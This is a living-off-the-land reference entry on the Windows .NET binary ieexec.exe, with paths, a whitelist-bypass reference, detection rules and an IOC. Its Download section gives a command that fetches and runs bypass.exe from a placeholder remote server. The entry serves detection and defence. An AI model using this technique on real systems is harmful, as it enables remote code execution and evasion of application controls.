# .. /leexec.exe

Download | Execute

The IEExec.exe application is an undocumented Microsoft .NET Framework application that is included with the .NET Framework. You can use the IEExec.exe application as a host to run other managed applications that you start by using a URL.

**Paths:**
C:\Windows\Microsoft.NET\Framework\v2.0.50727\ieexec.exe
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\ieexec.exe

**Resources:**
- https://room362.com/post/2014/2014-01-16-application-whitelist-bypass-using-ieexec-dot-exe/

**Acknowledgements:**
- Casey Smith (@subtee)

**Detections:**
- Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_lolbin_ieexec_download.yml
- Elastic: https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_process_network_connection.toml
- Elastic: https://github.com/elastic/detection-rules/blob/12577f7380f324fcee06dab3218582f4a11833e7/rules/windows/defense_evasion_misc_lolbin_connecting_to_the_internet.toml
- Elastic: https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_network_connection_from_windows_binary.toml
- IOC: Network connections originating from ieexec.exe may be suspicious

## Download

Downloads and executes bypass.exe from the remote server.

```
ieexec.exe http://x.x.x.x:8080/bypass.exe
```

| | |
|---|---|
| **Use case:** | Download and run attacker code from remote location |
| **Privileges required:** | User |
| **Operating systems:** | Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10 |
| **ATT&CK® technique:** | T1105 |

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